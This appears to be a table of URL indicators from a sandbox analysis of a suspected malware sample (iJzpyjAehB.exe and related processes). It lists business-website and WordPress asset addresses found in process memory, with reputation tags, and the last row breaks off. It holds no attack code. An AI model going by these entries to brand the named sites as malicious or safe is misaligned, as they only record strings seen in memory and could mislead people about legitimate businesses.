https://www.com-sit.com/branchen-know-how/	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1677257013	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jenco.co.uk/W	pigalicapi.exe, 00000002.00000003.478666450.000000000734F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pohlfood.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpohlfood.com%2F	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pohlfood.com/wp-content/uploads/iStock-1031193710b.jpg	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_05_INDUSTRIES_TELECOMM-300x110.jpg	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pohlfood.com/wp-content/plugins/elementor-pro/assets/css/frontend.min.css?ver=3.10.3	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.indonesiamedia.com/wp-content/themes/mag-theme/images/body-BG.png	svchost.exe, 00000016.00000003.496913823.000000000332A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jenco.co.uk/n	pigalicapi.exe, 00000006.00000003.338019640.0000000007540000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/terms-of-service/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.300368242.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.439075116.0000000008E00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lolipop.jp/	iJzpyjAehB.exe, 00000000.00000003.278941119.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.275586647.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.421181826.0000000002540000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.278509190.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.267669316.0000000008D00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.274065414.0000000003600000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.275803176.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.414643624.0000000000A60000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.271358037.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.274386745.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.com-sit.com/feed/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.473713643.0000000005150000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.478763378.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com?utm_source=challenge&utm_campaign=m	iJzpyjAehB.exe, 00000000.00000003.278941119.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.275586647.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.421181826.0000000002540000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.278509190.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.274065414.0000000003600000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.275803176.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.268618065.0000000008700000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.271358037.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.274386745.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.277227725.0000000003570000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.naoi-a.com/	iJzpyjAehB.exe, 00000000.00000003.278941119.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.275586647.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.423834877.0000000008B00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.278509190.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.275803176.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.277227725.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.rsag.infod	iJzpyjAehB.exe, 00000000.00000002.603177646.00000000075B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jenco.co.uk/s	pigalicapi.exe, 00000002.00000003.478666450.000000000734F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.speelhal.net/R	iJzpyjAehB.exe, 00000000.00000002.603177646.00000000075B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/framePCB/images/shopping_car.png	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.300368242.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.439075116.0000000008E00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/201905280859514872.png	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438940303.0000000003090000.00000004.00001000.00020000.00000000.sdmp	